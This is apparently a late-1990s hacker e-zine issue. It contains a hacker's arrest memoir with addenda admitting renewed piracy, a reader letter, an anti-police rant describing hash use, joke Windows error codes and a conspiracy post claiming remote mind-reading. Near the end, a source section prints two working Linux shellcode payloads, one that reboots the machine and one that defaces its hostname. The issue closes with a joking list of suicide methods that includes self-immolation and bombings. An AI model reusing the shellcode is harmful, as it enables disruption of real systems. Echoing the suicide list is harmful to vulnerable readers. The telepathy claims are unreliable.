his arms behind his back, and re-locked them [rather tightly] into place. At
|
||
that point, Midnight Sorrow was NOT a happy camper, particularly after they
|
||
THREW him into the back of one of their Fed special Crown Victorias.
|
||
|
||
The Secret Service agents then took Midnight to their domicile, at which
|
||
point he quite happily confessed to his crimes, and "narced" on some of his
|
||
enemies in the scene. They then informed Midnight that they had been keeping
|
||
tabs on him ever since his early C-64 days, and knew virtually everything about
|
||
him. To fully complete the young man's impending paranoia, they pulled out a
|
||
series of snapshots, seemingly randomly taken from outside of his house. One,
|
||
in particular, showed Midnight Sorrow on crutches, limping his way to his
|
||
father's Audi - which had been traded in almost two years ago. (Spooky, isn't
|
||
it?)
|
||
|
||
Anyway - Midnight was then unceremoniously thrown into jail. He called
|
||
his parents at the hotel they were vacationingat, and briefly, sobbingly,
|
||
outlined the situation. Midnight was then told that he could damn well rot in
|
||
prison, for all he'd put them through. Understandable, but still frustrating.
|
||
After a rather, umm ... probing ... strip search, Midnight was then escorted to
|
||
the Fort Lauderdale prison's juvenile holding cell (not the adult cell, though,
|
||
sigh of relief), immediately having visions of being brutally raped by a
|
||
300-pound brick wall of a black man named Leroy. As always, reality proved
|
||
only SLIGHTLY different.
|
||
|
||
Midnight Sorrow hung out with the other "inmates", and chatted with them
|
||
for a while. Most were not much older than he was at the time; the oldest was
|
||
around 25. Of the twelve people in the cell, ten were black, the other two
|
||
being a very frightened young Nicaraguan boy awaiting deportation, the other
|
||
being myself. After relating my story, they all seemed quite amused that
|
||
whitemeat was busted for some petty computer crime, while most of them were in
|
||
for grand theft auto, burglary, etc.
|
||
|
||
Later that evening, Midnight Sorrow feasted upon a nice dinner of
|
||
meatloaf, string beans, mashed potatoes in gravy, corn bread, and some kind of
|
||
sweet roll/pastry kind of thing. All in all, FAR better than he usually ate at
|
||
home (Midnight's mother, you see, is a certified diet fanatic; "sugar-free
|
||
fat-free salt-free cholesterol-free" being almost a mantra around the house).
|
||
Quite a satisfying meal, all things considered. Midnight then went to sleep,
|
||
woke up the next morning, and just hung around, talking, playing cards,
|
||
whatever. That evening, around 5pm, Mr. Sorrow came and bailed him out.
|
||
|
||
Approximately a month later, the trial was scheduled. Midnight's father
|
||
shelled out some cash and hired some super high-powered Miami criminal
|
||
attorney. He talked with the DA, John Frusciante, who now happens to reside
|
||
on Fort Lauderdale's high court, and actually tried running for Mayor once or
|
||
twice. (Ain't life amazing?) Anyway, what it boiled down to was a plea
|
||
bargain. Midnight got called into the judge's chambers, at which point the
|
||
judge sternly promised young Midnight that if he EVER saw him in the courthouse
|
||
again, awaiting trial, Midnight would pray for a quick death.
|
||
|
||
A couple of months later, Midnight Sorrow got off with two years
|
||
probation, a prohibition from even TOUCHING a computer for the entirety of
|
||
those two years, a rather large fine, and a slap on the wrist warning him
|
||
never to do that again.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
Addendum Number One:
|
||
|
||
Looking back on all of that, just judging by the sentencing, I would definitely
|
||
do it again. The only thing preventing me, is the extreme amount of
|
||
(emotional) pain I underwent when they confiscated all of my equipment,
|
||
leaving me with a pretty much empty room. (Guilt? Remorse? Nah, fuck that.)
|
||
|
||
And here I am! My probation ended in October of 1989, and now I'm back (and
|
||
legal, fortunately).
|
||
|
||
lateron
|
||
|
||
Midnight Sorrow
|
||
June 22, 1991.
|
||
|
||
P.S.: They never took the CDs, stereo equipment, or the Vuarnets.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
Addendum Number Two:
|
||
|
||
It is now somewhere over twenty nine months since the time I wrote the original
|
||
text. I'm still in the computer scene, quite a bit more grown up, and dealing
|
||
with things quite a bit more maturely (generally). I no longer phreak, no
|
||
longer hack, no longer card, and basically no longer even pirate. Virtually
|
||
my only current computer-related pastime, these days, is running my network,
|
||
CyberCrime. (Funny that the name probably would have been more appropriate
|
||
for me during the period outlined in this text, than it is now.) Anyway...
|
||
Some people would call me reformed, others would call me an idiot, while still
|
||
others would hail me as a hero (of sorts). Of course, half of the things I did
|
||
back then would be asinine to even consider attempting now, with the advent of
|
||
ESS, ANI, caller id, multi-faceted PIN numbers, hack detection, instant credit
|
||
card referencing, order call-backs, no "drop-and-run" package deliverers, and
|
||
extreme legislation against these various crimes, making the penalties so much
|
||
greater now than they were then. Regardless, I would call myself none of the
|
||
above. I would simply say I grew up. Then again, my morals have never been
|
||
what one would call exemplary; only the thought of the consequences of a crime
|
||
is what stops me now. Regardless.....
|
||
|
||
I am now 25, the proud owner of a home, a car, and quite happy and successful
|
||
at my career. Still hoping to find a solid relationship, and biding my time.
|
||
These days, computers are merely a hobby for me, and not my LIFE. Trying not
|
||
to sound like a pompous, self-absorbed, head-in-the-sand, reactionary prick,
|
||
I'd simply like to warn all the "kids" in the scene - stay cool, stay clean -
|
||
don't try any bullshit, the penalties are simply not worth it. True, the price
|
||
I paid was low - but it wouldn't be any more - not to mention the permanent
|
||
marks those "indiscretions" left on my record.
|
||
|
||
Welp, I guess that's about it, folks. Thanks for reading, and thanks for
|
||
caring.
|
||
|
||
lateron
|
||
|
||
Mitchel Waas
|
||
Midnight Sorrow
|
||
December 2, 1993.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
(Not so) Final Addendum:
|
||
|
||
It is now July 8, 1996 - my 28th birthday, a good thirteen years since the
|
||
beginning of this story, and just under five years since the end of it. The
|
||
computer BBS scene is all but gone, what with the massive popularity (and low
|
||
cost) of the Internet. Gone with the BBS scene are virtually all major forms
|
||
of computer crime, though hacking is still a hobby for many (though the price
|
||
runs VERY high in event of a bust). Even piracy has been significantly
|
||
reduced, due to the ubiquity of CD-ROM-based programs (making it so much more
|
||
difficult to copy these HUGE programs than it was just ten years ago, where
|
||
even a TWO-disc program was rarely seen). Infinite Darkness was taken down for
|
||
good in August of 1995. CyberCrime was disbanded in February of 1994, and
|
||
reformed as InfiNet (The InterNational Freedom of Information Network), which
|
||
I personally quit when my board was taken down. InfiNet actually still exists
|
||
to this day, though I no longer have any contact with it. Gone from my life
|
||
are all traces of computer crime - my only remaining infraction being the
|
||
occasional bit of piracy. My life is damn sweet, far better than outlined in
|
||
the previous addendum - an excellent career, outstanding social life, material
|
||
possessions enough to make even the most wealthy persons whimper in their sleep
|
||
- my life is pretty much complete, and losing even the least precious part
|
||
would be catastrophic beyond measure - NOW, even the THOUGHT of doing any of
|
||
the aforementioned crimes sends uncontrollable spasms up my spine. Suffice it
|
||
to say, I'm reformed. Today, Midnight Sorrow (the pseudonym) exists only as a
|
||
nickname for IRC use, as a link to the glory days of yesteryear - as many of my
|
||
fellow "oldsters" are encountered while haunting the endless halls of the
|
||
Internet. Midnight Sorrow (the person) ceased to exist, in reality, shortly
|
||
after my father passed away, in June of 1994, and now only exists in memories.
|
||
Mitchel Waas is who I am, and I'm damn proud of that fact, and of the name, and
|
||
everything for which it stands for.
|
||
|
||
Thus ends the saga of Midnight Sorrow.
|
||
|
||
lateron... for all eternity.
|
||
|
||
Mitchel Waas
|
||
July 8, 1996.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
Yep! It's another Addendum:
|
||
|
||
'Round and 'round she goes, where she stops, NOBODY knows...
|
||
|
||
Boy, these wheels just keep spinning around and around. I guess the old adage
|
||
is true, "the more things change, the more they stay the same." It's now
|
||
October 18th, 1997, just over a year since the last addendum was written, and
|
||
boy have things changed. Well, somewhat.
|
||
|
||
Infinite Darkness is back online (at 954-797-0666, NICE phone number, eh?),
|
||
strangely enough, and is busier NOW than it EVER was. No joke. With six
|
||
dialin lines, it's averaging between 40 and 60 callers a day, and is enjoying
|
||
FAR more activity than any prior bbs I've ever run. This BBS is more highly
|
||
satisfying NOW than it has ever before been. I suppose, due to the major
|
||
popularity of the internet, there has come about some sort of backlash against
|
||
it, causing a major (well, not MAJOR, but certainly a not insignificant)
|
||
revival of the whole BBS scene. As I said before, InfiNet is still around,
|
||
and I'm now a part of that (if only a member), as well as several dozen other
|
||
message networks, most of which are doing quite well. I've also restarted
|
||
CyberCrime, which is going nowhere fast, due to a severe lack of time to work
|
||
on it. But I'm here, and going nowhere. This has turned into one HIGHLY
|
||
enjoyable and fulfilling hobby.
|
||
|
||
And yes, I'm back into software piracy, bigger now than ever before, and
|
||
getting busted is now a major focus on my mind, what with the massive bust of
|
||
all the Razor boards at the beginning of this year. Fortunately, I have no
|
||
serious scene affiliations, don't make a penny from the bbs users, and am not
|
||
connected to the internet (yet), so my worries are few.
|
||
|
||
Aside from that, things are pretty much still the same. Midnight Sorrow IS
|
||
back, but I'm still basically the same old (and getting older) Mitchel Waas
|
||
you've read about in this nifty little (little?) story. I'm 29 years old now,
|
||
turning 30 in another nine months (scary!), and basically eke out my existence
|
||
through my BBS and my computer tech support business, which turns a fair
|
||
profit, nothing spectacular, but certainly enough to live a comfortable life.
|
||
|
||
So, I guess that about covers the current situation. I wonder what things will
|
||
be like a year from NOW? You spin me round round baby round round like a
|
||
record baby round round round round... or something like that. :)
|
||
|
||
lateron
|
||
|
||
Mitch!
|
||
October 18, 1997.
|
||
|
||
|
||
LETTERS TO THE EDITOR - {LETTERS}
|
||
|
||
Send Email to: damage_inc@mailcity.com.
|
||
|
||
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|
||
I like what you've done to the web. The FAQ, the separated page links. Nice
|
||
smaller appearance not so bunched up. I see your considering moving the site.
|
||
Well at least you finally got Damage Inc off the ground and into the Internet
|
||
scene. Be interesting to see what happens with Damage Inc in 5 years when your
|
||
documents have gotten around the world a few times. That's what always
|
||
attracted me to Damage Inc the truth, honesty and information. I believe
|
||
information is power and the truth should be told. Otherwise we're blind, and
|
||
walk around with a bullseye on our ass waiting to be shot at with corruption and
|
||
greed.
|
||
|
||
By the way if you do move the site you can still just create a "We've moved"
|
||
(with a hyperlink) web page from the current one and it'll always remain
|
||
there. That will keep the people informed.
|
||
|
||
--
|
||
|
||
Dave Warren
|
||
dwarren@golden.net ICQ #: 6214593
|
||
http://www.golden.net/~dwarren fidonet: 1:221/503
|
||
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|
||
|
||
Editor - Hey Dave. I can't take credit for what's been done to the web,
|
||
(www or www2) since I'm responsible for neither. If however you
|
||
were referring to the Damage, INC. web site, the majority of the
|
||
work that's gone into that has been done by Shatazar. Therefore,
|
||
I won't take credit for that either. I wrote the Damage, INC. FAQ
|
||
though, so perhaps I deserve a measure of credit for that. ;)
|
||
|
||
We are considering getting our own top level domain in the future.
|
||
So, yes, the site's URL would change if/when that occurs...although
|
||
at this moment I don't know when that change will take effect. As
|
||
for what Damage, INC. is about...I believe the things you mentioned
|
||
above are what repel the zombies away in utter disgust. Their own
|
||
ignorance prevents them from accepting truth, honesty and analyzing
|
||
information that's presented to them. It's unfortunate, illogical
|
||
and sad...but it's true. You can show a blind man the way, answer
|
||
his questions and give him solutions to his problems. In the end
|
||
though, they may not want to see the truth that's been proven and
|
||
shown to them. I've realized that it's something that cannot be
|
||
forced upon anyone. Your bullseye analogy works and expresses almost
|
||
the same point.
|
||
|
||
You can be assured that we'll inform everyone if the site moves...
|
||
and a hypertext link to it would be added to the existing web site.
|
||
|
||
|
||
OBJECTIVE OPINIONS - {OPINIONS}
|
||
Cops and Harassment.
|
||
|
||
Have you ever watched the television shows COPS, Top Cops or To Serve and
|
||
Protect? They depict police officers that are in the process of busting people.
|
||
Cops sure seem to get a lot of TV coverage. Those shows make people think that
|
||
all the cops are good and worth the money that they are paid. However, do
|
||
they ever show cops that are using unnecessary force? As in, how many times
|
||
have you seen television footage of cops beating the fuck out of someone?
|
||
There have been numerous times when that has happened and the media hasn't shown
|
||
any coverage of it, nor have they mentioned those occurrences. There are many
|
||
instances of cops using excessive force while in the process of trying to arrest
|
||
a "suspect".
|
||
|
||
Once, I saw a white guy who was beaten by a cop until he could no longer
|
||
see. It happened near a Canadian/American border while my parents and I were
|
||
there visiting some relatives. They asked me to go to the corner store and buy
|
||
some things for them. So, I said "Sure" and after getting proper direction I
|
||
was on my way. I was only about 11 years old at the time of this event. While
|
||
I was walking down the sidewalk, a cop pushed me out of the way as he was
|
||
chasing a guy. The person that the cop was chasing tripped on a curb and fell
|
||
to the ground. As soon as the cop was near him, he took out his night stick
|
||
and began hitting the man multiple times in the face. He continued striking
|
||
him until he was knocked out. It was a sick sight to see at that young age.
|
||
The cop just looked over at me and waved for me to get going. He probably hoped
|
||
that I wouldn't say anything, or testify against him regarding what I'd
|
||
witnessed. That cop wasn't even charged for what he had done. All the guy
|
||
he was chasing after did was shoplift and attempt to escape. Did he really
|
||
deserve to be assaulted for that petty crime?
|
||
|
||
Most cops can barely even run, let alone catch anyone. Most of them have
|
||
had one too many doughnuts. ;) One night, I was at a bush party at a place
|
||
called Bass Lake. I'd estimate that 100 or more people were there. Almost
|
||
everyone was underage, and under the influence of drugs or alcohol. They had a
|
||
huge fire going. Everyone was just standing around drinking, talking etc. until
|
||
about twenty cop cars and two fire trucks came racing into the forest. Everyone
|
||
started to run away, as there must have been about thirty to forty police
|
||
officers running around trying to catch people. I was only chased for a short
|
||
distance because the cop lost his breath and stopped for gasps of air. As I
|
||
looked back at him, I saw that he had his night stick in his hands and he was
|
||
bent over trying to catch his breath. I just laughed (since we had only been
|
||
running for about forty seconds). Later that night I heard that out of the
|
||
100 people that were there, one person got caught because he had passed out
|
||
from all the drinking that he had done. He was 19 (legal drinking age in
|
||
Canada) so they couldn't do much to him. I talked with him a couple weeks
|
||
later to see what the cops asked him, and he said they wanted to know names
|
||
of people that were there, why he was there, who he went with, how many
|
||
people attended, if it was planned or just a hangout kinda place, who started
|
||
the fire and if he saw anyone doing drugs. That just proves how good our cops
|
||
are. Do they show that on TV? Approximately forty police officers can only
|
||
catch one person that was already passed out and could not move? Out of 100
|
||
people, most of which were pissed at the time, the cops were sober and they
|
||
couldn't even catch one person that was running.
|
||
|
||
Cops also like harassing people when they are doing nothing against the
|
||
law. They always target the areas that teenagers are at. For example, one
|
||
night I was downtown at about 11:50pm or so waiting for a friend and a cop van
|
||
pulled off the street and rolled down the window. He asked me if I knew what
|
||
time it was, what I was doing out so "late", what my name was. Then he looked
|
||
it up in the computer to make sure that I didn't have a criminal record etc.
|
||
He had no right to embarrass me like that, since there are no laws in this
|
||
area as to what time someone can be outside at night. There is no curfew for
|
||
teenagers in the city that I live in. To him it's just a power trip though.
|
||
He thinks that he is the boss and can tell people what time they can be outside
|
||
at and when it's safe and not safe to be downtown. In my opinion, it's our
|
||
choice to decide whether or not it's safe to be where you want.
|
||
|
||
Another thing that pissed me off was when we got caught with about two and
|
||
a half grams of hash by a few police officers on off-road dirt bikes. I went
|
||
to the school with a few friends to smoke some hash, and just as we were getting
|
||
ready to leave, ten cops on dirt bikes came racing up. They started talking
|
||
to us, asking us questions like why we had a bottle in our hands, what our names
|
||
were, etc. He then started to threaten us, saying if we didn't hand over the
|
||
"drugs" they would take us in and arrest us. Finally, my friend, who was
|
||
holding it gave the hash to the cops, and they all looked at each other and
|
||
sort of smiled. The one guy on the bike said "You are lucky that we are not
|
||
going to take you in for this." He said that they have been scouting the area
|
||
like a hawk this week and we are the only people that they have found smoking
|
||
drugs. Then they took off on their bikes. It didn't hit me until later that
|
||
night, that these fuckers where probably going to smoke our shit. Otherwise,
|
||
why would they just let us go? The crooked smiles they gave as my friend handed over
|
||
the hash to them really made me think that they were going to smoke it. They
|
||
were abusing their so-called fucking powers. They think that they are so big
|
||
and tough when they have their little gay blue uniforms on. Meanwhile, they
|
||
need night sticks, guns, gases, etc.
|
||
|
||
Why don't cops start doing their jobs rather then harassing people, taking
|
||
their drugs to smoke for personal use? Why don't they just spend that time
|
||
trying to catch real criminals such as serial killers, instead of wasting
|
||
their time pulling over teenagers asking them questions about where they should
|
||
be? Also, they should train more often and eat fewer doughnuts. Do you still
|
||
think that cops are worth every penny of your tax dollars? The average cop
|
||
makes about $46,500 a year.
|
||
|
||
Cops are lazy and often try to take the "easy route", rather then doing
|
||
their jobs and actually trying to solve crimes. This last winter my neighbour
|
||
went away to Florida, as she usually does. She left us to watch her house
|
||
(take her mail inside and snow plow the driveway). On a Saturday, I decided to
|
||
go over and take her mail inside. First, I went over to the side door and it
|
||
was half-way open, but I thought it was just the door because sometimes it
|
||
doesn't close properly. I went through the door and you have to unlock another
|
||
door to get into the house. It was locked, so I unlocked it and went in. I saw
|
||
the pile of mail first that was scattered across the floor. I immediately knew
|
||
that something was wrong because I had kept the mail in a neat pile. I remember
|
||
thinking that someone was still in the house because of a noise that came from
|
||
upstairs. I looked into the bedroom on the right and noticed the bed was
|
||
flipped over, all cut up, and the contents of some drawers were scattered on the
|
||
floor. All of the lights were smashed in that room (the desk lamps and the main
|
||
light). I decided to go upstairs to see if anyone was still in the house. I
|
||
checked every room and things were everywhere, but didn't see anyone in the
|
||
house. I then went back downstairs to find a phone so that I could report what
|
||
had happened. There was also a whiskey bottle on the floor in plain view and
|
||
the fan was turned on. It looked as though the intruder(s) had been inside of
|
||
the house for a while.
|
||
|
||
I called the cops from inside of the house, and when they arrived they told
|
||
me to leave so they could check things out. About half an hour later the cops
|
||
rang my doorbell and started questioning me! They said things like "May we
|
||
please see your shoes?" and they took my fingerprints. The shoes I was wearing
|
||
matched the shoe marks they found on the carpet. They showed me the shoe marks
|
||
(which were *very* fresh and still wet), compared them to my shoes, and started
|
||
harassing me with questions like "Were you involved in any way with this
|
||
break-in?" and "How did your shoe marks get inside then?" I was ready to go
|
||
ape shit on them. I fucking told them everything that I did. I explained how
|
||
I went inside to take in the mail and noticed that someone had been in there.
|
||
Why couldn't they figure out how my fucking shoe marks got in the house? Haha.
|
||
Then they started to ask me smart-assed questions like "How would someone get
|
||
in? All the windows are boarded up, none were smashed, the doors were locked,
|
||
and you were the only one they left with a key." I replied with these *exact*
|
||
words: "How the fuck should I know? That's not my job to figure out." Then
|
||
the cop started saying shit like "It'd be a lot easier for both of us if you
|
||
would just cooperate." I was being accused of something I never did. They
|
||
were making it sound like I was guilty. What did they want me to do? He told
|
||
me to go with him into the house. So, I went with him and *EVERY* cop in the
|
||
house was looking at me. I couldn't take it anymore. I told them to leave me
|
||
alone, unless they were going to charge me and then I left. They never did
|
||
return to my house. ;)
|
||
|
||
After that, I still had to take my neighbour's mail in and snow plow.
|
||
About a week later, as I was about to open the door I glanced down at the lock
|
||
and noticed some pry marks on both doors. I shook my head and thought how the
|
||
fuck could the cops miss that!? They were just trying to take the easy way out
|
||
by immediately blaming me, instead of doing all of the necessary work for an
|
||
investigation.
|
||
|
||
Written by Fatal Vision ú Damage, INC. (C)opyright 1998.
|
||
|
||
|
||
REPORTS FROM THE FRONT - {REPORTS}
|
||
|
||
Recently the following undocumented Windows 95 error-codes were found.
|
||
Microsoft forgot to explain them in the manuals, so they will be spread
|
||
via the Internet:
|
||
|
||
* WinErr: 001 Windows loaded - System in danger
|
||
|
||
* WinErr: 002 No Error - Yet
|
||
|
||
* WinErr: 003 Dynamic linking error - Your mistake is now in every file
|
||
|
||
* WinErr: 004 Erroneous error - Nothing is wrong
|
||
|
||
* WinErr: 005 Multitasking attempted - System confused
|
||
|
||
* WinErr: 006 Malicious error - Desqview found on drive
|
||
|
||
* WinErr: 007 System price error - Inadequate money spent on hardware
|
||
|
||
* WinErr: 008 Broken window - Watch out for glass fragments
|
||
|
||
* WinErr: 009 Horrible bug encountered - God knows what has happened
|
||
|
||
* WinErr: 00A Promotional literature overflow - Mailbox full
|
||
|
||
* WinErr: 00B Inadequate disk space - Free at least 50MB
|
||
|
||
* WinErr: 00C Memory hog error - More Ram needed. More! More! More!
|
||
|
||
* WinErr: 00D Window closed - Do not look outside
|
||
|
||
* WinErr: 00E Window open - Do not look inside
|
||
|
||
* WinErr: 00F Unexplained error - Please tell us how this happened
|
||
|
||
* WinErr: 010 Reserved for future mistakes by our developers
|
||
|
||
* WinErr: 013 Unexpected error - Huh ?
|
||
|
||
* WinErr: 014 Keyboard locked - Try anything you can think of.
|
||
|
||
* WinErr: 018 Unrecoverable error - System has been destroyed. Buy a new
|
||
one. Old Windows license is not valid anymore.
|
||
|
||
* WinErr: 019 User error - Not our fault. Is Not! Is Not!
|
||
|
||
* WinErr: 01A Operating system overwritten - Please reinstall all your
|
||
software. We are terribly sorry.
|
||
|
||
* WinErr: 01B Illegal error - You are not allowed to get this error. Next
|
||
time you will get a penalty for that.
|
||
|
||
* WinErr: 01C Uncertainty error - Uncertainty may be inadequate.
|
||
|
||
* WinErr: 01D System crash - We are unable to figure out our own code.
|
||
|
||
* WinErr: 01E Timing error - Please wait. And wait. And wait. And wait.
|
||
|
||
* WinErr: 020 Error recording error codes - Additional errors will be lost.
|
||
|
||
* WinErr: 042 Virus error - A virus has been activated in a DOS-box. The
|
||
virus, however, requires Windows. All tasks will automatically be closed
|
||
and the virus will be activated again.
|
||
|
||
* WinErr: 079 Mouse not found - A mouse driver has not been installed.
|
||
Please click the left mouse button to continue.
|
||
|
||
* WinErr: 103 Error buffer overflow - Too many errors encountered.
|
||
Additional errors may not be displayed or recorded.
|
||
|
||
* WinErr: 678 This will end your Windows session. Do you want to play
|
||
another game?
|
||
|
||
* WinErr: 683 Time out error - Operator fell asleep while waiting for
|
||
the system to complete boot procedure.
|
||
|
||
* WinErr: 815 Insufficient Memory - Only 50.312.583 Bytes available
|
||
and . . .
|
||
|
||
* WinErr: 625 Working Error - The system has been working perfectly
|
||
for the past ten minutes
|
||
|
||
* WinErr: 902 Screen Error - The system is working perfectly, I'm not
|
||
lying, your monitor is wrong
|
||
|
||
* WinErr: 72a Crucial Halt - Hang on, WHAT was that?
|
||
|
||
* WinErr: 72b Memory Error - What? Tell me again.
|
||
|
||
* WinErr: 39c Disk Error in drive a: - Although your disk is in perfect
|
||
condition (I just formatted it), I don't like it any more and . . .
|
||
|
||
* WinErr: 983 Hard Disk Error - The files on the hard disk were neatly
|
||
arranged and fully optimized, so I had to mess them up and put a couple
|
||
of hundred .TMP files all over the place
|
||
|
||
* WinErr: 294 BlackMail Error - $200 to Gates or your computer gets screwed
|
||
|
||
* WinErr: 294b BlackMail Error - $200 to Gates or I'll show your wife the
|
||
JPG's you just downloaded
|
||
|
||
* WinErr: 394 Memory Error - you have been attempting to run this on a
|
||
Pentium 120 with 64MB of RAM. This is not good enough.
|
||
|
||
* WinErr: 872 Can't Be bothered - Do I have to?
|
||
|
||
(Copyright ) 1995 Cactus International, Inc. All rights reserved.
|
||
Zap@turbonet.com, Editor - Tony@turbonet.com, Webmaster
|
||
|
||
|
||
From: Allen Drugge <shckhd@accessone.com>
|
||
Newsgroups: alt.mindcontrol,alt.conspiracy,alt.psychology.mindmachine
|
||
Subject: ET
|
||
Date: 07 Feb 98 12:14:22 +0500
|
||
Message-ID: <3583.7342T734T1126@accessone.com>
|
||
|
||
Electronic Telepathy
|
||
|
||
One of the more recent tools of oppression to have made
|
||
its emergence in the evolving techno-nightmare scenario is
|
||
Electronic Telepathy or "ET"
|
||
|
||
1. It is no longer necessary to have electrodes attached to
|
||
monitor a persons brain wave activity, it can be done remotely.
|
||
|
||
2. Computer encoding has broken down the signals so they can
|
||
now output what it is a person is thinking.
|
||
|
||
3. A persons subconscious life can be overridden by externally
|
||
induced dreams.
|
||
|
||
Only a total revolution in thinking can prepare one for the
|
||
staggering implications and realities of this bold
|
||
usurpation of the Newtonian order.
|
||
|
||
In addition to being able to 'read your conscious thought'
|
||
the state of the art now allows for interactive dream
|
||
invasion and total control over its content.
|
||
|
||
"ET" has realized the ambition for the establishment of a
|
||
"neo-voodoo" ordered culture where TV commercials, qued by
|
||
computer, can and are being used as negative feedback to
|
||
privately held thoughts of select targeted individuals when
|
||
they're not being used to assuage the cherished notions of
|
||
the collective masses, most of them being negative. The
|
||
media are in collusion with this up to their eye balls.
|
||
It's not just for entertainment anymore not that it ever was.
|
||
|
||
Negative feedback/reinforcement to ones private thoughts,
|
||
images or urges in the form of microwave verisimilitudes is
|
||
also another tactic. Inducing stress, nervousness or distortion
|
||
(signs commonly interpreted as indicating guilt, lying or
|
||
uncertainty) in ones voice or demeanour to coincide with the
|
||
uttering of select "buzz words" is a common example of this.
|
||
|
||
The criminal and political possibilities, which in this 'brave
|
||
new world' are almost synonymous, are endless and no doubt are
|
||
being exploited as well.
|
||
|
||
The pop culture has not been ignorant of this new reality and
|
||
accordingly has incorporated elements of it into the
|
||
'collective psyche.'
|
||
|
||
Movies such as "Foxfire," "Brainstorm," "The Golden Child,"
|
||
"Steel Justice," "Desert Passion," "The Sorcerers," "Total
|
||
Recall," "Hellraiser III:," "Casino Royale," "Making Mr. Right,"
|
||
"Megaville," "No Escape," "In the belly of the Dragon,"
|
||
"Batman Forever" and MTV's "Dead @ 21" all draw on elements
|
||
of Electronic Telepathy. There are many others. Reference to
|
||
"ET" can be found in tunes like: "Welcome to the Machine,"
|
||
"The Dream Police," "Thinking around corners," "West of the
|
||
Fields" and "Kiss me when I get back."
|
||
|
||
The marriage of Science and Voodoo, in pursuit of the Clerical
|
||
agenda, has spawned a psychopathic covert, extra-legal industry
|
||
who's only function is murder by number, madness and chaos.
|
||
|
||
Individuals can be put under with microwave for almost
|
||
indefinite periods of time while the psyche is raped/programmed
|
||
by "ET" dreams and don't think that they're putting 'good
|
||
thoughts' into peoples heads, not to mention the myriad ways
|
||
to torture/"destabilize," thru psychotronic means, during the
|
||
waking hours. There are people in this country who probably
|
||
haven't had a dream they can call their own for about 30 years.
|
||
The "unthinkable" is now the new reality.
|
||
|
||
This disclosure doesn't take into account the possible use of
|
||
brain implants (the cyborg protocol), subliminal messaging or
|
||
entrainment.
|
||
|
||
Recognition of this technology and the abuses of it is the
|
||
first step towards any supposedly 'free people's' taking charge
|
||
of their 'own' destinies--failure to do so is enslavement.
|
||
Burying your head in the sand will not make it go away.
|
||
|
||
|
||
--
|
||
|
||
"If you want your own dream, you're going to
|
||
have to fight for it!"
|
||
|
||
|
||
SOURCE AND SCRIPTS - {SOURCE}
|
||
|
||
|
||
REBOOT.C
|
||
-------------------------------------------------------------------------------
|
||
/* assembly code to reboot a Linux x86 box
|
||
|
||
jmp rootshell
|
||
coded_by_bmV:
|
||
popl %edi
|
||
call reb00t
|
||
rootshell:
|
||
call coded_by_bmV
|
||
reb00t:
|
||
xorl %eax,%eax
|
||
movb $0x24,%eax
|
||
int $0x80
|
||
xorl %eax,%eax
|
||
movb $0x58,%eax
|
||
movl $0xfee1dead,%ebx
|
||
movl $672274793,%ecx
|
||
movl $0x1234567,%edx
|
||
int $0x80
|
||
xorl %eax,%eax
|
||
movb $0x01,%al
|
||
int $0x80
|
||
|
||
*/
|
||
|
||
char shellcode[]=
|
||
"\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff"
|
||
"\xff\xff\x31\xc0\xb0\x24\xcd\x80\x31\xc0\xb0"
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"\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28"
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"\xba\x67\x45\x23\x01\xcd\x80\x31\xc0\xb0\x01"
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"\xcd\x80\x89\xec\x5d\xc3";
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void main()
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{
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int)shellcode;
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}
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-------------------------------------------------------------------------------
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HOSTOWN.C
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-------------------------------------------------------------------------------
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/* written just for grins ;-)
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code to change to hostname of the
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target machine to: yEw_r_0wn3d
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jmp rootshell
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by_bm5:
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popl %edi
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call asmcode
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rootshell:
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call by_bm5
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asmcode:
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xorl %eax,%eax
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movb $0x4a,%al
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xorl %ebx,%ebx
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movb $(string-asmcode),%bl
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addl %edi,%ebx
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xorl %ecx,%ecx
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movb $0x0b,%cl
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int $0x80
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xorl %eax,%eax
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movb $0x01,%al
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int $0x80
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.byte
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string:
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.ascii "yEw_r_0wn3d"
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*/
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char shellcode[]=
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"\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff\xff\xff"
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"\x31\xc0\xb0\x4a\x31\xdb\xb3\x16\x01\xfb\x31\xc9\xb1"
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"\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x79\x45\x77\x5f"
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"\x72\x5f\x30\x77\x6e\x33\x64\x89\xec\x5d\xc3";
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void main()
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{
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int)shellcode;
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}
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-------------------------------------------------------------------------------
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THC PHREAK'S TOP TEN LIST - {TOP TEN}
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"Ways to kill yourself"
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1. Jump off of the CN Tower into the SkyDome during a baseball game
|
||
while the roof is open and land near first base. On the way down,
|
||
drop leaflets that read "Did you see that?" It's one way to ensure
|
||
that your death is televised and seen by a large crowd of cheering
|
||
people. It's a real attention grabber too. The people watching
|
||
will literally be on the edge of their seats. Maybe they'll even
|
||
do the wave as a tribute to you. :) This one is strictly for
|
||
Canadians.
|
||
|
||
2. Stand on railway tracks and wait for a high speed train to approach.
|
||
As it's travelling at 100+ mph, video tape it heading straight at
|
||
you. Then, to prove that you're fearless, start running at the
|
||
train and right before impact, attempt to shoulder tackle it. At
|
||
least nobody can say you didn't have guts and call you a coward.
|
||
This one is strictly for Europeans.
|
||
|
||
3. Go to a steel plant. Dive head first into a container of molten
|
||
steel. Swim around in it and pretend that it's water. Show no
|
||
pain as you're body is being incinerated. This one is for anyone
|
||
that lives close to a steel plant.
|
||
|
||
4. Sit in the middle of a busy intersection and pour gasoline all
|
||
over yourself. Light a cigarette. Start smoking it. Then light
|
||
yourself on fire. Continue smoking as though nothing is happening.
|
||
|
||
5. Tape bullets, shards of glass, sharp pieces of triangular sheet
|
||
metal, nails etc. to your body. Then drink nitro glycerin and
|
||
inject it into your veins while standing in a busy subway station.
|
||
Start hopping around. Do the "human pipe bomb."
|
||
|
||
6. Get some C4 and TNT. Dress up as Barney. Attach the explosives
|
||
to your body underneath the suit. Go hand gliding off a tall
|
||
building in a large city like New York, and detonate the explosives.
|
||
It's called the "Barney Splat."
|
||
|
||
7. Don't sleep for 20 years. Eventually you'll die. It's a slow,
|
||
boring death though. Sit and stare at a computer monitor instead
|
||
